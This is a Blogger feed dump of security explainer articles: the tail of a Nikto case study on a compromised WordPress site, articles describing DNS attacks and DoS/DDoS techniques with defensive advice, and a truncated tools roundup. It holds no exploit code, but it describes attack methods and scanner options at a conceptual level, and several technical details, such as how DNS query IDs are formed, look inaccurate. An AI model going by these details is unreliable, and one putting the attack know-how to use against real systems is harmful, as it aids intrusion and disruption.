<code class="text plain">+ 3823 items checked: 14 item(s) reported on remote host</code></div>
<div class="line number30 index29 alt1">
<code class="text plain">+ End Time: 2010-03-11 13:47:19 (2684 seconds)</code></div>
<div class="line number31 index30 alt2">
<code class="text plain">+ 1 host(s) tested</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
A
Google search revealed that the exploits were related to the popular
WordPress publishing platform used for the website, and also revealed
possible solutions to the problem. The website was vulnerable to attack
because the website developers had not taken the trouble to install
updated versions that addressed known vulnerabilities.</div>
<div style="text-align: justify;">
After
updating the local copy of the site according to the recommendations,
Kedar ran another Nikto scan. A few more security vulnerabilities were
reported, including a few unnecessary folders on the website. The errors
were corrected, and when a final Nikto scan verified that the site
didn’t have any known vulnerabilities, it was uploaded to the Web
server, overwriting the compromised site. The site has been up and
running perfectly till date.</div>
<h2 style="text-align: justify;">
The anatomy of an attack</h2>
<div style="text-align: justify;">
Now
that the website was back up, Kedar explained the details of the
incident to Shree from scratch, beginning with defining what Web pages,
websites and Web applications were, and the importance of securing them.
We’ll skip much of those elementary concepts, however, and move on to
the analysis of how website attacks happen.</div>
<div style="text-align: justify;">
One of the biggest
considerations for websites and Web applications is that they are
required to be up and running 24×7. They are potentially accessible to
anybody around the world, round the clock. Sensitive information that
can be misused for monetary gain, or used to hold the site owners to
ransom, coupled with the 24×7 availability of the site, attracts
crackers to attack the site to access confidential data.</div>
<div style="text-align: justify;">
An attacker’s basic approach to breaking into a Web server is as follows:</div>
<ol style="text-align: justify;">
<li><strong>Survey and assess the potential target:</strong>
The attackers find out what types of services are being used on the
target website, what operating system and Web server software versions
it runs, the additional software used, etc., and attempt to find
possible vulnerabilities and entry points in supported services and
protocols. This information is then used to plan the initial attack.</li>
<li><strong>Exploit and penetrate the target:</strong>
The attackers then use attacks corresponding to the discovered
vulnerability to penetrate the site. If the network and host are fully
secured, your Web application is the next target for attack. An
attacker’s easiest entry to an application is through the same “gate”
that legitimate users pass — the application’s login page, or a page
that does not require authentication.</li>
<li><strong>Escalate privileges (try to gain administrative privileges):</strong>
After attackers compromise an application or network, they immediately
attempt to gain administrative privileges to take over the server
itself. Using least-privileged service accounts throughout your
application is a primary defensive feature.</li>
<li><strong>Maintain access and privileges:</strong>
Having gained access to a system, attackers try to ensure future access
and to cover their tracks. To retain administrative privileges,
attackers commonly plant backdoor programs or use an existing account
that lacks strong protection.</li>
<li><strong>Cover their tracks by clearing logs:</strong>
Since system logs will reveal unauthorised access to the system,
attackers typically clear audit logs of tell-tale signs, and hide their
tools and other evidence of their access. Your log files should be
secured (preferably, by regularly copying them to a remote system), and
should be analysed regularly. This analysis can sometimes reveal an
attempted break-in before damage is done.</li>
<li><strong>Steal information and distribute malware:</strong>
Attackers usually try to install programs that may steal confidential
information or attack other computers. They may also set up the site to
distribute malicious software to visitors who trust the site not to
serve them malicious software.</li>
<li><strong>Deny service:</strong>
Attackers who cannot gain access may mount a denial of service (DoS)
attack to harass the site owner by preventing legitimate users from
connecting to the site. The sheer variety of Web threats and attacks
makes it impossible to explain all of them; we have merely looked at a
brief outline.</li>
</ol>
<div style="text-align: justify;">
To prevent website falling prey to attackers,
your IT team needs to audit your websites for vulnerabilities
corresponding to your Web server platform and software. The audit
frequency should be every three months, at least, besides immediately
after a new vulnerability is reported. Free newsletters from CERT/SANS
provide updates about such vulnerabilities from time to time.</div>
<div style="text-align: justify;">
You
can block attacks by disabling relevant services or patching application
code, until the software vendor provides an update that closes the
vulnerability. Further, vendors need to pay attention to the website’s
design and code, and check whether there are potential entry-points for
attackers.</div>
<div style="text-align: justify;">
You should also ensure a few very basic — but very important — points:</div>
<ol style="text-align: justify;">
<li>Change default login name</li>
<li>Change default password</li>
<li>Only use encrypted interface to authenticate yourself to the website (HTTPS/SSH)</li>
<li>Make sure the password consists of upper/lowercase alphabets, numbers and special characters.</li>
</ol>
<h2 style="text-align: justify;">
The Nikto advantage</h2>
<div style="text-align: justify;">
As
a website vulnerability scanning tool, Nikto plays a vital role in
keeping your site safe. It can be used very effectively to identify
flaws in the design and development of the website, and as an assessment
tool to detect possible vulnerabilities in the website. In case of an
exploited website, it can also be used to identify the attackers’ entry
point, as Kedar did for Shree’s site.</div>
<div style="text-align: justify;">
Important Nikto command-line options include:</div>
<ul style="text-align: justify;">
<li><code>-Cgidirs</code> — Scans the specified CGI directories; could also be special keywords all or none.</li>
<li><code>-dbcheck</code> — Checks the scan databases for syntax errors.</li>
<li><code>-findonly</code> — Only discovers and attempts to connect to HTTP(S) ports, does not perform a security scan. Reports the server header.</li>
<li><code>-host</code> — Specifies the host(s) to scan</li>
<li><code>-id</code> — Specifies basic host authentication in id:password format</li>
<li><code>-port</code> — TCP port(s) to scan; comma-separated list (80, 443, 8080 ) or port range (80-90)</li>
<li><code>-update</code> — Updates the plugins and databases from <a href="http://cirt.net/">cirt.net</a>.</li>
</ul>
<div style="text-align: justify;">
Other command-line options let you fine-tune the scan, including:</div>
<ul style="text-align: justify;">
<li><code>-mutate</code> — To combine tests and to guess values. Under the <code>-mutate</code>
commands, various parameters can be provided to guess common password
file names, guess common file extensions, try to discover valid user
names by using Apache exploits if <em>UserDir</em> setup is misconfigured, exploit flaws in <em>cgiwrap</em> to discover valid user names, and more.</li>
<li><code>-Tuning</code> — Tunes the scan tests used against a target.</li>
<li><code>-Format</code> — Specifies the output file format: TXT, HTM, XML or CSV.</li>
</ul>
<div style="text-align: justify;">
See the documentation for more information on these topics, and other options.</div>
<div style="text-align: justify;">
Nikto’s configuration file is typically <code>/etc/nikto.conf</code>.
You can set commonly-used settings in this file, to cut down on the
length of command lines for each scan. See the documentation for more
information.</div>
<div style="text-align: justify;">
Nikto can also be integrated with Nessus and OpenVAS,two of the best vulnerability scanners available.</div>
<div style="text-align: justify;">
Now,
returning to Shree, whose website had suffered the attack — he was
amazed at the technical complexities of what he had thought was the
simple Internet, but was grateful to Kedar for the quick and decisive
solution to the problem. At Kedar’s instruction, Shree modified his
company’s security policy to include a monthly Nikto scan of the website
for vulnerabilities. Shree is a happy person again, since his website
is running well, and he hopes Nikto will help him stay ahead of the bad
guys!</div>
<div style="text-align: justify;">
<br /></div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-28999404063710237122012-09-23T23:59:00.001-07:002012-09-23T23:59:59.216-07:00Cyber Attacks Explained: DNS Invasions<div style="text-align: justify;">
<img alt="Yet another kind of cyber attack, eh?" class="aligncenter size-large wp-image-9773" height="266" src="http://cdn.linuxforu.com/wp-content/uploads/2012/02/dns-cyber-attack-590x266.jpg" title="Yet another kind of cyber attack, eh?" width="590" /></div>
<div class="introduction" style="text-align: justify;">
We
often read about defaced websites whose pages get changed to some
malicious content. How do hackers do it and how do we protect our
infrastructure from them? This article is about how hackers invade DNS
(domain name systems). DNS invasion is technically advanced and a
harmful attack on a network or Web infrastructure. Network
administrators are urged to learn more about it and strive to secure the
infrastructure they manage.</div>
<div style="text-align: justify;">
As we all know, the DNS exists
because it’s impossible for humans to remember IP addresses for sites,
but easy to remember alphanumeric names. The DNS system was created when
the Internet was a friendly place — leading to quite a few issues.</div>
<div style="text-align: justify;">
Figure
1 shows how name resolution fundamentally works. When an application
(like a browser) wants to connect to a destination service, it queries
the DNS server, asking for the IP address. This query is sent over UDP
port 53 as a single request and receives a single-packet reply from the
server. (Note that since UDP data space is limited to 512 bytes, the
protocol stack automatically uses the TCP protocol for queries and
replies.) When the client receives a reply, it updates its local cache
with the received entry, speeding up subsequent queries to the same
domain. Entries in local cache are automatically purged after their TTL
(Time to Live) expires.</div>
<div class="wp-caption aligncenter" id="attachment_9774" style="text-align: justify; width: 590px;">
<img alt="Name resolution" class="size-large wp-image-9774" height="344" src="http://cdn.linuxforu.com/wp-content/uploads/2012/02/dns1-590x344.jpg" title="Name resolution" width="590" /><div class="wp-caption-text">
Figure 1: Name resolution</div>
</div>
<div style="text-align: justify;">
The
DNS uses record types like A, CNAME, SOA, MX, etc. While explaining
these is beyond the scope of this article, it is important for
administrators to know the usage of each, and before implementing them,
they should be evaluated from the security standpoint. Before we learn
about DNS-based attacks, we need to know about two types of queries —
iterative and recursive.</div>
<ul style="text-align: justify;">
<li><strong>An iterative DNS query:</strong>
When a client queries a DNS server, asking if it has the answer for a
given domain name, the DNS server may or may not have the answer ready.
If the DNS server doesn’t have an answer, instead of shutting the
request down, it sends the name of an upstream DNS server that might
have the answer. This is usually called a DNS referral. The client sends
the query to the next (referred) server; if that one too doesn’t have
an answer, it sends a referral to yet another upstream server. This
process continues till either the client gets an IP address or gets a
“query failed” error message.</li>
<li><strong>The recursive DNS query:</strong>
In this case, the query begins by a client host requesting a name
resolution to its immediate DNS server. If the DNS server does not have
the answer, it is supposed to do the job of talking to upstream servers,
instead of merely providing their referral names. Again, if the
upstream server does not have an answer, it needs to take on the
responsibility further. This continues till either the root domain
server is reached, which must have the answer, or if the queried name
itself does not exist, in which case an error message percolates down
the chain to the client. Unlike the iterative method, a recursive query
proves to be more aggressive in getting query results.</li>
</ul>
<div style="text-align: justify;">
Iterative
queries are usually made by DNS servers while recursive queries are
made by clients, which helps to reduce the burden of referral searches.
From the security perspective, it is important to know the basics of
DNS, such as, there can be multiple DNS servers in an organisation
replicating their zone records to each other in order to maintain name
resolution consistency.</div>
<div style="text-align: justify;">
DNS data can be updated dynamically
without needing any service to be restarted, and when a change is made
on the master server, it triggers replication to partner servers
automatically. The actual time required for replication is defined by
the TTL of each record. In case of geographically dispersed DNS servers,
this time period can be as long as a day, since all servers in the
chain maintain their own cache to speed up replication.</div>
<h2 style="text-align: justify;">
DNS security attacks</h2>
<div style="text-align: justify;">
It
has been observed that systems administrators spend a lot of time
designing security around applications, servers and other infrastructure
components, but unfortunately tend to forget hardening DNS servers.
Please refer to Figure 2, which shows possible breach points where the
DNS can be vulnerable to attacks. By design, the DNS heavily relies on
UDP, does not contain security by itself, and does not have foolproof
built-in authentication — which makes it more susceptible to hacking
than other network-based services. Let’s look at a few very common DNS
attacks.</div>
<div class="wp-caption aligncenter" id="attachment_9775" style="text-align: justify; width: 590px;">
<img alt="Possible attack points" class="size-large wp-image-9775" height="371" src="http://cdn.linuxforu.com/wp-content/uploads/2012/02/dns2-590x371.jpg" title="Possible attack points" width="590" /><div class="wp-caption-text">
Figure 2: Possible attack points</div>
</div>
<h3 style="text-align: justify;">
DNS cache poisoning</h3>
<div style="text-align: justify;">
This
attack lets name resolution to be tweaked in two ways. In one method,
the hacker installs a rootkit or a virus, which is intended to take
control of the local DNS cache of the client. Once done, entries in the
local DNS are altered to point to a different IP address.</div>
<div style="text-align: justify;">
For example, if a browser tries to access <code>http://www.cnn.com/</code>,
instead of getting the CNN IP address, it gets an IP set by the
hackers’ script, which is usually in the hackers’ own Web farm, and
hosts viruses or shows some derogatory information.</div>
<div style="text-align: justify;">
In a different
and more dangerous approach, the hacker attacks a DNS server and alters
its local cache — so all servers using that DNS server for resolution
end up at a wrong IP address, causing a system-wide failure, apart from
information loss or theft.</div>
<div style="text-align: justify;">
In rare cases, hackers can access a root DNS server, which holds the base entries that form the root domain, such as <code>.com</code>, <code>.net</code>
or any country-specific name system. Hackers then modify entries on
that server, which triggers automatic replication, and can cause serious
global outages for multiple businesses and websites. Though such
situations are rare, they have occurred — and that too, very recently,
involving a famous social community chatting website.</div>
<h3 style="text-align: justify;">
DNS hijacking</h3>
<div style="text-align: justify;">
This
attack is also commonly used to bend the DNS system. Here, the client
DNS cache on a client is not altered, but instead the client’s DNS
settings are changed to point to the hackers’ own DNS server. Usually
the purpose is not to steal data, but to gather statistical data from
the client computer. All name resolution requests going to the hacker
are resolved to the correct addresses, but the hacker learns of the
typical sites visited by the client.</div>
<div style="text-align: justify;">
This information can further
be used by online advertisers to target that client with
Web-visit-specific advertisements. Some ill-behaved e-thieves also
redirect users to their own websites, or search engines, either to gain
money from advertisements, or simply to steal data and use it for social
engineering. While it is inappropriate to use this feature for any
personal gain, it is being used by many well-known websites and ISPs to
collect user browsing statistics.</div>
<h3 style="text-align: justify;">
DNS spoofing</h3>
<div style="text-align: justify;">
This refers
to merely a man-in-the-middle type of attack in which the hacker gains
access to the network the DNS server is on, and performs ARP cache
poisoning and spoofing on that network. Once MAC-level control is
achieved, the hacker then fetches the IP address of the DNS server, and
starts sniffing and spoofing requests meant for the real DNS server.</div>
<div style="text-align: justify;">
The
hacker’s machine resolves all DNS queries, completely bypassing the
real DNS server. This has serious consequences, because all machines on
that network can be completely unaware of this, and end up sending DNS
traffic to the hacker’s machine.</div>
<div style="text-align: justify;">
There is an alternate method
called DNS ID spoofing. Each DNS request and response carries a unique
identifier, to differentiate between various simultaneously generated
requests to a DNS server. This unique ID is usually a combination of the
MAC address and the date/time stamp, and is created by the protocol
stack automatically.</div>
<div style="text-align: justify;">
A hacker uses a sniffer to look at one or
more DNS requests and responds with their respective unique number, but
with a false IP address. This results in the client’s local cache being
updated to this fabricated address. Further damage can be caused by
hosting a virus on the machine at that IP address.</div>
<h3 style="text-align: justify;">
DNS rebinding</h3>
<div style="text-align: justify;">
Also
called DNS pinning, this is an advanced type of attack. In this method,
the hacker first registers his own domain name and sets the TTL value
of that domain at a lower value, which prevents that domain name from
being cached.</div>
<h3 style="text-align: justify;">
DNS denial of service</h3>
<div style="text-align: justify;">
Another method is to perform a ping of death or a TCP SYN
flood attack. The idea behind this is to overwhelm server resources (CPU
and memory) to stop it responding to queries. Though DNS servers are
protected by firewalls, if care is not taken to block DNS UDP ports from
non-trusted networks, it exposes the name resolution system to this
attack.</div>
<h3 style="text-align: justify;">
DNS amplification</h3>
<div style="text-align: justify;">
Amplification means to provide
the DNS server with a task heavier than it is capable of handling. There
are multiple ways to stress the server and eventually make it
non-functional. In one method of amplification, a Trojan is written to
poison and populate the local cache of multiple client hosts. This
forces all infected clients to send their name requests to a particular
name server, which is being targeted by the hackers.</div>
<div style="text-align: justify;">
Each server
can only respond to a certain number of queries (based on CPU speed and
configuration) and eventually starts queuing up requests. As more and
more clients get infected, the increasing number of queries ultimately
makes the server give up.</div>
<div style="text-align: justify;">
In another type of attack, a hacker
poisons the DNS server’s cache; instead of changing the associated IP
address of an A or CNAME record, a change is made to the domain name. To
make it worse, the domain name is made to contain a few hundreds or
thousands of characters. This starts the replication process, and hence
the download of multiple kilobytes of data from the main name server to
its replicating partners, and eventually to clients.</div>
<div style="text-align: justify;">
Upon
expiration of the TTL, the replication process initiates again, and
results in the breakdown of one or more DNS servers in the chain. This
trick actually simulates a distributed denial of service attack, and
hence is very dangerous and hard to control.</div>
<h2 style="text-align: justify;">
Protecting FOSS systems</h2>
<div style="text-align: justify;">
In
the FOSS world, the DNS service is a well-known implementation across
the globe, simply because it proves to be the fastest available name
resolution mechanism. A widely used and famous example is the Bind
utility/service. However, since most DNS attacks exploit the basic
design lacunae, it becomes a tougher task to protect FOSS-based name
resolution systems.</div>
<div style="text-align: justify;">
The very first step to protect a FOSS DNS
server is to lock it down at the network level. Besides the server
management ports, only the DNS query ports should be allowed and the
rest must be blocked on the firewall as well as in OS-based port
filtering.</div>
<div style="text-align: justify;">
The second important step is to not install any other
software on a DNS server, other than the name server service itself.
This precaution must be followed especially in the case of an externally
facing corporate root name server that holds all internal name spaces,
and resolves external name queries for the local area network.</div>
<div style="text-align: justify;">
It
is often found that vulnerability in another program on the name server
leaves a back door open, resulting in intrusion into the name service.
While most critical infrastructures implement a firewall, a UTM device
and powerful anti-virus or anti-Trojan software, it becomes imperative
to have an intrusion detection system (IDS) in place. An IDS is capable
of filtering out sneaky Layer 2 and Layer 3 attacks such as ARP
spoofing, IP spoofing, packet sniffing, etc.</div>
<div style="text-align: justify;">
Besides the above
crucial precautions, there are a few advanced methods that can be
followed too. As we learnt earlier, each query carries its own unique
identifier and is marked in the UDP packet. Unfortunately, due to the
design of DNS stacks based on RFC standards, these identifiers are
easily predictable, and hence randomising those can be a good idea to
prevent spoofing attacks. Similarly, the UDP port on which the name
server responds is predictable too, and can be randomised.</div>
<div style="text-align: justify;">
There
are open source tools available on the Internet for just this purpose;
however, please note that it adds a bit of a delay in query resolution. A
fairly recent and popular protection technique is DNSSEC (DNS Security
Extensions). It protects clients and systems from cache poisoning
attacks by digitally signing records using public key encryption. While
working in a similar fashion to SSL, the querying and answering hosts
need to establish a digital trust between each other; once it is
achieved, name resolution takes place.</div>
<div style="text-align: justify;">
Once the process is
completed, the session is torn down, thus protecting the security at
either ends. DNSSEC is being implemented by most ISPs in the world.</div>
<div style="text-align: justify;">
DNS
invasion is a common phenomenon in the IT security world. It involves
exploiting DNS design loopholes to gain access to the IT infrastructure
or to lure the client computers to a phishing farm. FOSS is also
susceptible to such attacks and hence network administrators must
understand the techniques to protect their infrastructure from
information loss or theft.</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-42046710266741077232012-09-23T23:58:00.001-07:002012-09-23T23:58:12.691-07:00Cyber Attacks Explained: DoS and DDoS<div style="text-align: justify;">
<img alt="Oops, am under attack, again!" class="aligncenter size-large wp-image-5636" height="294" src="http://cdn.linuxforu.com/wp-content/uploads/2011/11/DDoS-590x294.jpg" title="Oops, am under attack, again!" width="590" /></div>
<div class="introduction" style="text-align: justify;">
With
this article, we begin a new series on the major kinds of cyber attacks
that weaken the IT security infrastructure within organisations. With
the rapid spread of Internet technologies and applications, the number
of those seeking to break into systems is also increasing — usually to
gain fame, money, or to damage the target’s reputation. The first to be
covered in this series is the Denial of Service attack (DoS) and the
distributed version (DDoS). We will learn how these attacks work
technically, and discuss ways to stop them at the network entry point.</div>
<div style="text-align: justify;">
The
fundamental technique behind a DoS attack is to make the target system
busy. In a computer server, when a network packet is being received, all
components (right from the network interface card or NIC to the
application running under the OS) are participating to ensure successful
delivery of that packet. The NIC must monitor the Ethernet frames meant
for it, align data and pass it to the network card driver, which then
adds its own intelligence and passes it to the OS, which takes it to the
application.</div>
<div style="text-align: justify;">
Each component involved can exhibit some form of
vulnerability, and DoS attacks are devised to exploit one or more of
these, to penetrate into the system.</div>
<div style="text-align: justify;">
Let’s now understand the
basics of the TCP/IP protocol, which uses a handshake between the sender
and receiver. Figure 1 shows how a healthy TCP handshake takes place,
and how a SYN flood attack compares with it.</div>
<div class="wp-caption aligncenter" id="attachment_5641" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/11/DDoS-Fig01.jpg"><img alt="A healthy TCP handshake" class="size-large wp-image-5641" height="365" src="http://cdn.linuxforu.com/wp-content/uploads/2011/11/DDoS-Fig01-590x365.jpg" title="A healthy TCP handshake" width="590" /></a><div class="wp-caption-text">
Figure 1: A healthy TCP handshake</div>
</div>
<div style="text-align: justify;">
When
the sender wants to communicate, it sends a SYN packet with its own IP
address as the source, and the receiver’s IP address as the destination.
The receiver responds with a SYN-ACK packet. The sender confirms this
by sending an ACK packet. Now, sender and receiver have a guarantee that
they can communicate with each other.</div>
<div style="text-align: justify;">
The sender then starts
sending the actual data in small chunks, and for each data packet
received, the receiver sends an ACK back. When the sender sends the
final data chunk, it sends a FIN signal, which is acknowledged by the
receiver by sending a FIN-ACK back.</div>
<div style="text-align: justify;">
If a particular port is not
supposed to respond to the request, the receiver responds with an RST
packet, which means it is rejecting that request.</div>
<div style="text-align: justify;">
As you can see
here, the TCP/IP stack software has to deal with complex communication,
which does take some CPU and memory resources. To add to this, many
handshakes are happening on a server for different source and
destination addresses and for various TCP ports. All IP-based protocols
such as ICMP ping, telnet, FTP, etc, actually piggyback on this
framework to do their job, each working on a different dedicated socket
or port.</div>
<div style="text-align: justify;">
At the application layers, the OS and the application
receiving or transmitting data allocate internal memory buffers and a
software process to keep track of what is being sent or received. The OS
partially does this job itself, and leaves the rest to the network
driver and protocol stack. Each process consumes some CPU time and
memory resources.</div>
<div style="text-align: justify;">
A DoS attack exploits this situation, by
tweaking TCP packets to make the server respond to malicious, fabricated
network requests. TCP packets can be forged, or modified to disrupt the
basic handshake process, in order to create unexpected network
responses. This ultimately results in exhausting all the server
resources, which when overwhelmed, stops responding.</div>
<div style="text-align: justify;">
There are
various ways to do this, each using a different technical approach.
Please refer to the following table — it shows you how various DoS
techniques map to the OSI model of network layers.</div>
<table border="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td>Application</td><td>Web DoS, Email Spam</td></tr>
<tr><td>Presentation</td><td>Malformed SSL Requests</td></tr>
<tr><td>Session</td><td>Telnet DDoS</td></tr>
<tr><td>Transport</td><td>SYN Flood, Smurf Attack</td></tr>
<tr><td>Network</td><td>ICMP Flooding</td></tr>
<tr><td>Data</td><td>MAC Flooding</td></tr>
<tr><td>Physical</td><td>Dummy Packet Attack</td></tr>
</tbody></table>
<div style="text-align: justify;">
We will now discuss each of these techniques in more detail.</div>
<h2 style="text-align: justify;">
Network layer DoS attacks</h2>
<h3 style="text-align: justify;">
The MAC flood</h3>
<div style="text-align: justify;">
This
is a rare Layer 1 attack, in which the attacker sends multiple dummy
Ethernet frames, each with a different MAC address. Network switches
treat MAC addresses separately, and hence reserve some resources for
each request. When all the memory in a switch is used up, it either
shuts down or becomes unresponsive.</div>
<div style="text-align: justify;">
In a few types of routers, a MAC flood attack may cause these to drop their entire routing table, thus<br /> disrupting the whole network under its routing domain.</div>
<h3 style="text-align: justify;">
The SYN flood</h3>
<div style="text-align: justify;">
The
attacker sends multiple SYN packets; upon receiving SYN-ACK from the
target, it does not send ACK, but instead sends more SYN packets. This
leaves the TCP/IP stack on the target to conclude that there is a
possible network congestion or disconnect, and it waits for a specific
amount of time. Thus, multiple partially-open connections are maintained
by the stack for some time, in anticipation of an ACK response.</div>
<div style="text-align: justify;">
In
another SYN flooding type, the SYN is sent with a spoofed source
address, which becomes the destination address for the target’s SYN-ACK
packet. However, since the system at the spoofed IP never sent that SYN
to begin with, it will never send an ACK to this packet, and will simply
drop it. The target system is not aware of this, and keeps track of it
in anticipation of an ACK.</div>
<div style="text-align: justify;">
In both examples, the connection tables
and memory resources on the targeted network components are filled up
with bogus entries. When the entire table is filled up, the device stops
responding.</div>
<h3 style="text-align: justify;">
The ping of death</h3>
<div style="text-align: justify;">
In this case, a malformed
ping packet flood is sent to the target. Since the TCP stack responds
only to a certain type of ping packet, it fails to respond to this,
exhausting the system resources.</div>
<h3 style="text-align: justify;">
TCP established connection attacks</h3>
<div style="text-align: justify;">
This
is an extension to the SYN flood, the difference being that it uses a
complete 3-way TCP handshake. It does not spoof addresses, nor strip the
ACK responses, but just establishes a TCP connection and simply does
not send any data. Due to this, connections are maintained till
time-out; a flood of such connections results in a DoS on the targeted
device.</div>
<div style="text-align: justify;">
Since the handshake is gracefully done, this attack is difficult to trace, and needs advanced techniques to detect and stop.</div>
<h3 style="text-align: justify;">
Smurf attacks</h3>
<div style="text-align: justify;">
This
is a famous, widely used Layer-3 attack in which the attacker sends
ping traffic to IP broadcast addresses. However, the source address is
spoofed, and is of the victims’ machines. Thus, routers deliver replies
to the victims, which send back with a ping response. On a larger and
populated subnet, this can have a devastating effect, and can
practically render the routing device non-responsive.</div>
<div style="text-align: justify;">
Similar to this is the Fraggle attack, wherein a UDP echo packet is sent instead of TCP</div>
<h3 style="text-align: justify;">
TCP RST attacks</h3>
<div style="text-align: justify;">
In
this new breed of DoS attack, the source IP is spoofed with the
victim’s IP address, and this malformed packet is sent to a firewall.
This forces the firewall to remember this connection for some time.</div>
<div style="text-align: justify;">
This
attack is rarely used; its sole purpose is to fool the intrusion
detection logic on cheaper firewalls. Unlike the host desktop, a
firewall with UTM features works in promiscuous mode, and takes note of
each and every packet. However, if the anomaly detection logic is not
smart enough, it simply results in piling up connections and eventually
rendering itself useless.</div>
<h2 style="text-align: justify;">
Application layer DoS attacks</h2>
<div style="text-align: justify;">
Besides
these network-layer attacks, there are a few that deal with the
application layer directly. Such attacks are comparatively easy to
detect and fix, but if ignored, can result in heavy downtime.</div>
<div style="text-align: justify;">
Application-layer attacks exploit vulnerabilities in the OS and the guest application. Listed below are a few such attacks.</div>
<h3 style="text-align: justify;">
Buffer overflows</h3>
<div style="text-align: justify;">
This
very well-known attack pushes the OS to consume resources to such an
extent that it starts leaking memory, becomes sluggish or simply stops
responding. It is a myth that a buffer overflow is observed only in
Windows OS — in fact, it is very much true for Linux distros too.
Applications such as a database, email and Web servers are found to have
buffer overflow vulnerabilities.</div>
<h3 style="text-align: justify;">
Web and DNS DoS attacks</h3>
<div style="text-align: justify;">
Web
servers running on TCP port 80 are a common target for DoS attacks.
Attackers usually send multiple HTTP requests (not malformed at all)
targeted to retrieve enormous amounts of data from the backend database
server.</div>
<div style="text-align: justify;">
Such request floods make the database server busy, keeping
the Web server waiting for data. This creates a pile-up on both
servers, which become unresponsive to further requests. This can happen
unintentionally too, especially when breaking news is posted and
everyone tries to access it at the same time. In case of DNS servers,
the attack method is similar to Web servers, but it has serious
consequences. If a DNS server becomes non-responsive, it can take down
the firm’s entire network.</div>
<h2 style="text-align: justify;">
Distributed DoS attacks</h2>
<div style="text-align: justify;">
In
simple terms, a distributed DoS attack (DDoS) combines multiple
attackers using the various techniques discussed above, and can result
in catastrophic failure. Please refer to Figure 2 to understand how a
typical DDoS attack is planned on a website.</div>
<div class="wp-caption aligncenter" id="attachment_5644" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/11/DDoS-Fig02-e1320464299717.jpg"><img alt="A typical DDoS attack" class="size-large wp-image-5644 " height="355" src="http://cdn.linuxforu.com/wp-content/uploads/2011/11/DDoS-Fig02-e1320464299717-590x355.jpg" title="A typical DDoS attack" width="590" /></a><div class="wp-caption-text">
Figure 2: A typical DDoS attack</div>
</div>
<div style="text-align: justify;">
A
lethal combination of spoofed SYN flood and old-style ping-of-death
attacks is typically used to disrupt an IT network that is open to the
Internet.</div>
<div style="text-align: justify;">
In a modern form of DDoS, the attacker injects malicious
code into a virus and spreads it to millions of computers, making them
zombie machines. On a specific day and time, all infected machines start
executing that code, which is usually written to access a website or
plant a network-level attack onto a targeted system. Since it is
difficult to find out who injected the code into a virus, it is
difficult to trace the real attacker.</div>
<div style="text-align: justify;">
In another non-hazardous
form, a DDoS attack is modified to access the attacker’s website and
click advertisements on it, which in turn helps the attacker earn money
from ad clicks.</div>
<h2 style="text-align: justify;">
Protecting FOSS systems</h2>
<div style="text-align: justify;">
Though DoS is one
of the oldest and most commonly known attacks, unfortunately, there is
no fool-proof solution to stop it because practically, it is difficult
to decide which network connection is legitimate, and which one is
initiating an attack.</div>
<div style="text-align: justify;">
While there are specific tools for a
particular type of DoS attack, it boils down to cyber-security design
and monitoring to strengthen the network.</div>
<div style="text-align: justify;">
Typical symptoms of a
DoS attack on a Linux server are a sluggish system or a slow website,
sudden and prolonged increase in processor and memory utilisation,
excessive disk thrashing without any business activity, slower file
transfers, etc.</div>
<div style="text-align: justify;">
On a network monitoring system, there could be a
large number of TCP packet drops, abnormal TCP resets, broken TCP SYN
packets being received, or duplicate ACK packets being sent. Usually,
the first-level component impacted is a router, followed by a firewall
and other components like switches. Firewalls cannot protect the router,
but the firmware of modern routers (e.g., Cisco 7600 or X443) contain
patches to protect against DoS attacks. Though modern firewalls have
many features to combat DoS attacks, they don’t always help.</div>
<div style="text-align: justify;">
Firewalls
can certainly protect against network layer-based attacks, but usually
fail to protect systems from application-layer attacks like on port 80
(HTTP). Here, an application-level firewall is needed to filter each
request and ensure its legitimacy.</div>
<div style="text-align: justify;">
For Ubuntu and RHEL, an APF
(Advanced Policy Firewall) is a great tool that can help mitigate DoS
attacks. Linux FOSS systems are blessed with fantastic network drivers,
as well as many built-in features such as a packet-filtering firewall,
packet monitoring, network monitoring tools, kernel hardening tools,
etc.</div>
<div style="text-align: justify;">
For smaller Linux networks, a nice script can be written to
SYN Trap open connections and to stop bogus TCP RST connections, as a
first line of defence.</div>
<div style="text-align: justify;">
For mission-critical corporate Linux
networks, deploying an Intrusion Prevention System device (IPS) is the
best choice. IPS devices sit on a network in promiscuous mode and use
built-in anomaly detection algorithms to intercept and decode each and
every packet. Since its intelligence ranges from Layer 2 to Layer 7, it
can gauge which packet is legitimate, and which isn’t. It has a great
alerting mechanism<br /> to proactively inform and stop DoS and DDoS attacks.</div>
<div style="text-align: justify;">
A good combination of IPS devices, UTM firewalls and application layer security can help stop these dreaded attacks.</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-40896249761874356362012-09-23T23:56:00.001-07:002012-09-23T23:56:16.989-07:00Top 10 Security Assessment Tools..!!!<div style="text-align: justify;">
<img alt="Security Assessment Tools" class="aligncenter size-large wp-image-9781" height="187" src="http://cdn.linuxforu.com/wp-content/uploads/2012/02/security-590x187.jpg" title="Security Assessment Tools" width="590" /></div>
<div class="introduction" style="text-align: justify;">
Modern
data centres deploy firewalls and managed networking components, but
still feel insecure because of crackers. Hence, there is a crucial need
for tools that accurately assess network vulnerability. This article
brings you the top 10 assessment tools to address these issues,
categorised based on their popularity, functionality and ease of use.</div>
<div style="text-align: justify;">
Vulnerabilities
are unfortunately an integral part of every software and hardware
system. A bug in the operating system, a loophole in a commercial
product, or the misconfiguration of critical infrastructure components
makes systems susceptible to attacks. Malicious techies can penetrate
systems via these vulnerabilities, for personal or commercial gains.
While technically this is not very easy, there have been enough
successful attempts to cause one to worry.</div>
<div style="text-align: justify;">
Earlier, it was
believed that this was true only for commercial products. Yet, lately,
open source systems have been cracked, resulting in data theft and a
